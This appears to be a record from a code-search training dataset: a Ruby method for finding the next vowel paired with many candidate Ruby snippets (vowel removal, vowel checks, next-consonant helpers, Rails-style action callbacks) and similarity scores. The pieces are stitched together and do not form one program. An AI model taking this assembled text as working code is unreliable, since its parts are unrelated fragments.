"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
USAGE NOTES: this method will throw an error if it is passed something other than a vowel ('aeiou')
|
def next_vowel(vowel)
'aeiou'[('aeiou'.index(vowel) + 1) % 'aeiou'.length]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def is_vowel?(letter)\n \"aeiou\".include?(letter)\n end",
"def vowels (string)\n # Your code here\nend",
"def is_vowel?(letter)\n case letter\n when \"a\", \"e\", \"i\", \"o\", \"u\"\n return true\n else\n return false\n end\nend",
"def is_vowel(letter)\n \"aeiou\".include?(letter.downcase)\nend",
"def vowel? (char)\n 'aeiou'.include? (char) \nend",
"def vowel_check(character)\n (character =~ /['aeiou']/) != nil\nend",
"def is_vowel(char)\n char.is_a?(String) && !!char.match(/[aeiou]/i)\nend",
"def vowel(letter)\n if (letter==\"a\" || letter==\"e\" || letter==\"i\" || letter==\"o\"|| letter==\"u\")\n true\n elsif (letter==\"A\" || letter==\"E\" || letter==\"I\" || letter==\"O\"|| letter==\"U\")\n true\n else\n false\n end\n end",
"def is_vowel(vowel)\n vowel.is_a?(String) && !!vowel.match(/[aeiou]/i)\nend",
"def is_vowel(char)\n # takes in a string of one character\n # determines whether the character is a vowel\n # ignores case\n # handles weird inputs gracefully\n\n if char.class != String || char.length != 1\n return false\n else\n vowels = \"aeiou\"\n vowels.include? char.downcase\n end\nend",
"def is_vowel letter\n return false if letter.class != String || letter.length != 1\n vowels = \"aeiouAEIOU\"\n vowels.include? letter\nend",
"def disemvowel(string)\n\nend",
"def is_vowel character\n character.is_a?(String) && !!character.match(/[aeiou]/i)\nend",
"def is_vowel onechar\n onechar.is_a?(String) && !!onechar.match(/[aeiouAEIOU]/)\nend",
"def vowel?(c)\n !(c =~ /[aeiou]/).nil?\nend",
"def has_vowels?(word)\nend",
"def is_vowel?(letter)\n if [\"a\", \"e\", \"i\", \"o\", \"u\"].include?(letter)\n return true \n else \n return false \n end \nend",
"def is_vowel?(current_char)\n vowels = 'aeiouAEIOU'\n vowels.include?(current_char)\nend",
"def is_vowel (letter)\n\tvowels = 'aeiou'.chars\n\tvowels.index(letter) != nil\nend",
"def vowels_with_case(letter)\n case letter\n when \"a\",\"e\",\"i\",\"o\",\"u\"\n return true\n else\n return false\n end\nend",
"def is_vowel?(letter, vowels)\n vowels.index(letter).nil? ? false : true\nend",
"def ordered_vowel_word?(word)\nend",
"def devowel(str)\n # your code goes here\n return str.delete(\"aeiou\")\nend",
"def is_vowel char\n char.length = 1 && char.match(/[aeiou]/i) && char.is_a?(String)\n end",
"def disemvowel str\n\n\tstr.gsub(/[aeiou]/,'')\n\nend",
"def disemvowel(str)\n str.gsub /[aeiou]/i, ''\nend",
"def vowels_2(letter)\n case letter.downcase\n when \"a\" then true\n when \"e\" then true\n when \"i\" then true\n when \"o\" then true\n when \"u\" then true\n else false\n end\nend",
"def vowels (string)\r\n if string.class == String\r\n vowels(string.split(\"\").concat([ [] ]))\r\n else \r\n if string[0].class == String \r\n case string[0]\r\n when \"A\",\"a\",\"E\",\"e\",\"I\",\"i\",\"O\",\"o\",\"U\",\"u\"\r\n vowels(string.slice(1..-2).concat( [string[-1].concat([string[0]])] ))\r\n else\r\n vowels(string.drop(1)) \r\n end \r\n else\r\n return string[0]\r\n end\r\n end\r\nend",
"def devowel(str)\n # your code goes here\n no_vowel_str = ''\n vowels = 'aeiou'\n str.downcase.each_char do |ch|\n if !vowels.include?(ch)\n no_vowel_str << ch\n end\n end\n no_vowel_str\nend",
"def disemvowel(str)\n str.gsub(/[aeiouAEIOU]/,'')\nend",
"def vowel_change(current_v)\n if current_v == \"u\"\n current_v = \"a\"\n elsif current_v == \"U\"\n current_v = \"A\" \n else \n v_location = $vowels.index(current_v)\n current_v = $vowels[v_location+2]\n end\n current_v\nend",
"def disemvowel(string)\n no_vowel_string = string.gsub(/[aeiou]/, \"\")\n return no_vowel_string\nend",
"def is_vowel char\n vowels = \"aeiou\".split(\"\")\n vowels.each do |vowel|\n if vowel == char.downcase\n true\n else\n false\n end\n end\nend",
"def vowels # :nodoc:\n /((?<!q)u|[aeio]|(?<=[bcdfghjklmnprstvwxz])y).*$/\n end",
"def is_vowel(word, pos)\n# \"u\" is not considered a vowel in pig latin\n vowels = [\"a\", \"e\", \"i\", \"o\"]\n is_vowel = false\n vowels.each do |vowel|\n if(word[pos] == vowel)\n is_vowel = true\n end\n end\n return is_vowel\nend",
"def is_vowel(ch)\n \tarr = [\"a\",\"e\",\"i\",\"o\",\"u\"]\n \tbegin\n \tarr.include?(ch.downcase)\n \trescue\n \t\treturn false\n \tend\n end",
"def vowel_remover string\n string.delete \"aeiouAEIOU\"\nend",
"def vowel_trans(word)\n return word + \"yay\"\n end",
"def isVowel character\n\tc = character.downcase\n\tif c == \"a\" or c == \"e\" or c == \"i\" or c == \"o\" or c == \"u\"\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend",
"def has_vowel?(word)\n word.each_char do |letter|\n if is_vowel?(letter)\n return true\n end\n end\n return false\nend",
"def is_a_vowel(letter, space = false)\r\r\n letter.upcase\r\r\n return letter == \"A\" || letter == \"E\" || letter == \"I\" || letter == \"O\" || letter == \"U\" || (letter == \"X\" && space == true)\r\r\n end",
"def vowel_delete string\n string.downcase.delete('aeiou')\nend",
"def more_vowels(string1, string2)\nend",
"def devowel(str)\n vowels = \"aeiou\"\n devoweled_string = \"\"\n str.each_char do |ch|\n unless vowels.include?(ch.downcase)\n devoweled_string << ch\n end\n end\n devoweled_string\nend",
"def no_vowels str\n p str.delete \"aeiouAEIOU\"\nend",
"def disemvowel(str)\n new_str = str.gsub(/[aeiouAEIOU]/, '') \n new_str\nend",
"def disemvowel string\n\tstring.delete \"aeiouAEIOU\"\nend",
"def indexOfVowel(letter,vowels)\n vowels.index(letter)\nend",
"def devowel(str)\n new_str = \"\"\n vowels = \"aeiou\"\n\n str.downcase.each_char do |char|\n if !vowels.include?(char)\n new_str += char\n end\n end\n return new_str\nend",
"def vowels_5(letter)\n letter.downcase.match(/a|e|i|o|u/) != nil\nend",
"def vowels_with_no_if_or_case(letter)\n while vowels.include? letter \n # alternatively, use a text string of potential vowel options\n return true\n end\n return false\nend",
"def disemvowel(string)\n string.delete \"aeiouAEIOU\"\nend",
"def next_vowel(letter)\n\tif letter == (\"a\")\n\t\tletter = \"e\"\n\telsif letter == (\"e\")\n\t\tletter = \"i\"\n\telsif letter == (\"i\")\n\t\tletter = \"o\"\n\telsif letter == (\"o\")\n\t\tletter = \"u\"\n\telse\n\t\tletter = \"a\"\n\tend\nend",
"def elim_vowels(string)\r\n string.downcase.delete(\"aeiou\")\r\nend",
"def disemvowel string\n return string.delete \"aeiouAEIOU\"\nend",
"def is_a_vowel(letter, space = false)\n letter.upcase\n return letter == \"A\" || letter == \"E\" || letter == \"I\" || letter == \"O\" || letter == \"U\" || (letter == \"X\" && space == true)\n end",
"def next_vowel(vowel)\n\ti = 0\n\tvowels = \"aeiou\"\n\t\twhile i < vowel.length\n\t\t\tv_ltr = vowels.index(vowel[i])\n\t\t\tv_ltr += 1\n\t\t\tvowel[i] = vowels[v_ltr]\n\t\t\ti += 1\n\t\tend\n return vowel\nend",
"def vowels(arr)\n arr.each do |item|\n if item.tr!(\"aeiou\",\"\")\n end\n end\nend",
"def vowel_removed string\n string.delete! \"aeiouAEIOU\"\n p string\nend",
"def disemvowel\nend",
"def check_vowels(str)\n # will replace any character if it matches the regex with '*'\n new_word = str.gsub!(/[aeiouAEIOU]/, '*')\n return new_word\nend",
"def devowel(str)\n vowels = 'aeiou'\n result = ''\n str.downcase.each_char do |char|\n result += char unless vowels.include?(char)\n end\n result\nend",
"def disemvowel(str)\n string = ''\n str.each_char do |x|\n if /[^aeiou]/i.match(x)\n string << x\n end\n end\n print string\nend",
"def vowels_4(letter)\n letter = letter.downcase\n letter == \"a\" || letter == \"e\" || letter == \"i\" || letter == \"o\" || letter == \"u\"\nend",
"def vowels_6(words)\n words.downcase.match(/a|e|i|o|u/).to_s\nend",
"def no_vowels str\n # delete the vowels in the str if str has vowels a, e, i, o, u\n str.delete 'aeiouAEIOU'\nend",
"def vowel_finder(word)\n words_vowels = []\n vowel = \"aeiuo\"\n\n word.each_char.with_index do |char,i|\n if vowel.include?(char)\n words_vowels << i\n end\n end\n words_vowels\nend",
"def disemvowel(str)\n str.delete('aeiouAEIOU')\nend",
"def only_vowels?(str)\n arrString = str.split('')\n arrString.each do |char|\n if ['a', 'e', 'i', 'o', 'u'].include?(char) == false\n return false\n else\n next\n end\n end\n return true\nend",
"def disemvowel(str)\n # str.gsub(\"aeiou\", \"\")\n # str.split - ['a'],['e'],['i'],['o'],['u'].join(' ')\n # str.tr('aeiou', '').join(' ')\n\n str.tr('aeiouAEIOU', '')\nend",
"def vowel(letter)\n vowels = \"aeiou\"\n vowel_index = vowels.index(letter) + 1\n next_letter = vowels[vowel_index]\nend",
"def vowel_advance(letter)\r\n vowel = \"aeiou\"\r\n if letter == \"u\"\r\n letter = \"a\"\r\n else\r\n letter = vowel[vowel.index(letter) + 1]\r\n end\r\nend",
"def disemvowel string\n\tstring.chars.map {|char| \"aeiouAEIOU\".include?(char) ? nil : char }.join\nend",
"def next_vowel(name)\n name = name.split('')\n name.each do |indivLetter| \n if indivLetter == \"a\"\n indivLetter.replace(\"e\")\n elsif indivLetter == \"e\"\n indivLetter.replace(\"i\")\n elsif indivLetter == \"i\"\n indivLetter.replace(\"o\")\n elsif indivLetter == \"o\"\n indivLetter.replace(\"u\")\n elsif indivLetter == \"u\"\n indivLetter.replace(\"a\")\n end\n end\nend",
"def next_vowel(vowel)\r\n\r\n##Remember that 'a' is not the same as 'A'\r\n\tvowels = ['a','e','i','o','u']\r\n\ti = vowels.index (vowel)\r\n\tif vowel == 'u'\r\n\t\tvowel = 'a'\r\n\telse\r\n\t\tvowel = vowels[i+1]\r\n\tend\r\nend",
"def translate_one_vowel( word )\n\n\t\t\t\tword + \"ay\"\n\n\tend",
"def vowel_changer(letter)\r\n\tif letter == \"u\"\r\n\t\tnew_letter = \"a\"\r\n\telse\r\n\t\tvowel_index = \"aeiou\".index(letter)\r\n \t\tnew_letter =\"aeiou\"[vowel_index.next]\r\n\tend\r\nend",
"def strip_vowels(s)\n s.delete \"aeiouAEIOU\"\nend",
"def vowel_removed(string)\n string.delete('aeiouAEIOU')\nend",
"def disemvowel(a_string)\n answer = a_string.delete(\"aeiou\")\n return answer\nend",
"def str_vowel_replace(input)\n vowels = ['a', 'e', 'i', 'o', 'u']\n # convert string to array\n str_ary = input.split('')\n # iterate over string\n str_ary.each do |i|\n puts i\n # check for vowel\n puts i if vowels.include? i\n\n end\nend",
"def disemvowel(str)\n str = str.delete 'AEIOUaeiou'\nend",
"def devowel(str)\r\n # your code goes here\r\n vowels = ['a','A','e','E','i','I','o','O','u','U']\r\n temp = \"\"\r\n\r\n i = 0\r\n while i < str.length\r\n if vowels.include?(str[i]) == false\r\n temp << str[i]\r\n end\r\n i += 1\r\n end\r\n\r\n temp\r\nend",
"def is_vowel?(letter)\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n if vowels.include?(letter.downcase)\n return true\n else\n return false\n end\nend",
"def only_vowels?(str)\n str.chars.all? { |char| char.match(/[aeiou]/) }\n # vowel = 'aeiou'\n # str.chars.all? {|char| vowel.include?(char)}\nend",
"def remove_vowels str\n str.delete \"aeiouAEIOU\"\nend",
"def first_vowel\n @input_str.index(/[aeiouAEIOU]/) #Returns an Integer\n end",
"def only_vowels?(str)\n vowels = \"aeiou\"\n str.each_char.all? { |c| vowels.include?(c) }\nend",
"def no_vowels(string)\n string.delete\"aeiouAEIOU\"\n# use the .delete accessor and include uppercase and lower case characters to be deleted\nend",
"def starts_with_a_vowel?(word)\n word.match(/^[aeiouAEIOU]/) ? true : false\nend",
"def vowel_delete(str)\n str.delete(\"aeiouAEIOU\")\nend",
"def vowels(string)\r\n new_string = []\r\n string.split(\"\").each do |letter|\r\n if letter == \"a\" || letter == \"e\" || letter == \"i\" || letter == \"o\" || letter == \"u\" ||letter == \"A\" || letter == \"E\" || letter == \"I\" || letter == \"O\" || letter == \"U\"\r\n new_string.push(letter)\r\n end\r\n end\r\n return new_string\r\nend",
"def remove_vowels string\n string.delete 'aeiouAEIOU'\nend",
"def remove_vowels string\n string.delete 'aeiouAEIOU'\nend",
"def strip_vowels(str)\n str.delete \"aeiouAEIOU\"\nend",
"def remove_vowels string \n string.delete \"aeiouAEIOU\"\nend",
"def vowel(vowel_letter)\r\n vowel = \"aeiou\"\r\n current_location = vowel.index(vowel_letter)\r\n new_vowel = current_location + 1\r\n if vowel.index(vowel_letter) == 4\r\n results = vowel[0]\r\n else\r\n results = vowel[new_vowel]\r\n end\r\n results\r\nend",
"def remove_vowels string\n string.delete \"aeiouAEIOU\"\nend",
"def starts_with_a_vowel?(word)\n word.match(/^[aeiouAEIOU]/) ? true : false\nend",
"def vowels (string)\r\n vowels = []\r\n string.chomp.split(//).each do |letter|\r\n if letter == \"a\" || letter == \"e\" || letter == \"i\" || letter == \"o\" || letter == \"u\" || letter == \"A\" || letter == \"E\" || letter == \"I\" || letter == \"O\" || letter == \"U\"\r\n vowels.push(letter)\r\n end\r\n end\r\n return vowels\r\nend",
"def only_vowels?(str)\n vowels = \"aeiou\"\n new_str = \"\"\n words = str.split(\"\")\n words.each do |char|\n if vowels.include?(char)\n new_str << char\n end\n end\n new_str\nend"
] |
[
"0.7614158",
"0.7571017",
"0.7498188",
"0.7482208",
"0.74205154",
"0.7409443",
"0.73978084",
"0.7360995",
"0.73423153",
"0.73389965",
"0.73190147",
"0.73127383",
"0.73107314",
"0.7306997",
"0.7291381",
"0.72582793",
"0.72038",
"0.7196371",
"0.7181058",
"0.7087927",
"0.70802176",
"0.7053005",
"0.7050052",
"0.70164835",
"0.7007785",
"0.69801813",
"0.69623893",
"0.6957478",
"0.6953447",
"0.69432116",
"0.69414246",
"0.692222",
"0.69176143",
"0.6915617",
"0.6904704",
"0.68979645",
"0.6854824",
"0.6850778",
"0.68438715",
"0.68316406",
"0.68276453",
"0.68162936",
"0.68131554",
"0.68098164",
"0.67982835",
"0.6789417",
"0.67796344",
"0.6775766",
"0.67732745",
"0.6766642",
"0.6765055",
"0.6731685",
"0.67222756",
"0.6719962",
"0.671944",
"0.67191195",
"0.6702032",
"0.6701065",
"0.66896474",
"0.66858107",
"0.668223",
"0.668023",
"0.6674686",
"0.666639",
"0.66657495",
"0.66621065",
"0.6659666",
"0.6650722",
"0.66502374",
"0.66254264",
"0.66225195",
"0.66220635",
"0.65893173",
"0.65685815",
"0.6548061",
"0.6546928",
"0.6546473",
"0.6543189",
"0.6542564",
"0.654151",
"0.6534905",
"0.653316",
"0.6531068",
"0.65256524",
"0.6525236",
"0.65137756",
"0.6507998",
"0.6503855",
"0.64949054",
"0.64653426",
"0.64612615",
"0.6460967",
"0.6460388",
"0.6460388",
"0.6457268",
"0.6453641",
"0.64452404",
"0.6440652",
"0.64383554",
"0.643819",
"0.6435633"
] |
0.0
|
-1
|
create a method that takes a lowercase consonant and returns the next consonant
|
def next_consonant(consonant)
# handle 'z' edge case
if consonant == 'z'
consonant = 'b'
# if the next letter is a vowel
elsif 'aeiou'.include?(consonant.next)
# return the letter after that
consonant.next.next
# otherwise, return the next letter
else
consonant.next
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def next_consonant (consonant)\n consonant_downcase = consonant.downcase\n index = CONSONANTS.index(consonant_downcase)\n\n # handle edge case for letter 'z'\n if consonant_downcase == \"z\"\n next_consonant = CONSONANTS[0]\n else\n next_consonant = CONSONANTS[index + 1]\n end\n #Capitalize next letter if the original letter is upper case\n next_consonant = capitalize(consonant, next_consonant)\nend",
"def consonant(letter)\n alphabet = \"bcdfghjklmnpqrstvwxyz\"\n alphabet2 = alphabet.chars.rotate.join('')\n each_id = alphabet.index(letter.downcase)\n next_consonant = alphabet2[each_id]\n end",
"def next_consonant(char)\n char = char.downcase\n compare = \"bcdfghjklmnpqrstvwxyz\"\n\n # not a consonant, i.e., no instance of the variable\n if compare.count(char) == 0\n # puts \"Not a consonant\"\n return nil\n end\n\n consonant_index = compare.index(char)\n\n if consonant_index == compare.length - 1 # end edge case\n return 'b'\n else\n return compare[consonant_index + 1]\n end\nend",
"def next_consonant(letter)\n\tconsonants = \"bcdfghjklmnpqrstvwxyz\"\n\tif letter == \"z\"\n\t\tnext_consonant = \"b\"\n\telse\n\tnext_consonant = consonants[consonants.index(letter) + 1]\nend\nend",
"def consonant(letter)\n\talphabet = \"bcdfghjklmnpqrstvwxyz\"\n\talphabet2 = alphabet.chars.rotate.join('')\n\teach_id = alphabet.index(letter.downcase)\n\tnext_consonant = alphabet2[each_id]\nend",
"def consonant(letter)\n\talphabet = \"bcdfghjklmnpqrstvwxyz\"\n\talphabet2 = alphabet.chars.rotate.join('')\n\teach_id = alphabet.index(letter.downcase)\n\tnext_consonant = alphabet2[each_id]\nend",
"def get_next_consonant (consonant)\n\treturn 'b' if consonant == 'z'\n\tconsonants = 'bcdfghjklmnpqrstvwxyz'.chars\n\tconsonants[consonants.index(consonant) + 1]\nend",
"def next_consonant(letter)\n\tc_alphabet = \"bcdfghjklmnpqrstvqwxyzb\"\n \tx = c_alphabet.index(letter)\n \tx += 1\n\t c_alphabet[x]\n\nend",
"def get_next_consonant (consonant)\n\treturn 'b' if consonant == 'z'\n\tconsonants = 'bcdfghjklmnpqrstvwxyz'.chars\n\tconsonants[ consonants.index(consonant) + 1 ]\nend",
"def next_consonant(name)\n\tconsonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \n\t\t\"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n\tindex = 0\n\tname = name.split('') # string to array\n\tname_change2 = name.map do |letter| \n\t\tif consonants.include? letter \n\t\t\tconsonants.rotate(1)[consonants.index(letter)]\n\t\telse\n\t\t\tletter\n\t\tend\n\tend\n\tname_change2.join\t# new array convert back to string\nend",
"def next_consonants(vowel_name)\r\n\tconsonants = ['b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z']\r\n\tvowel_name = vowel_name.split('')\r\n\tconsonant_name = vowel_name.map do |consonant|\r\n\t if consonants.include?(consonant)\r\n\t consonants.rotate(1)[consonants.index(consonant)]\r\n\t else\r\n\t consonant\r\n\t end\r\n \tend\r\n consonant_name.join\r\nend",
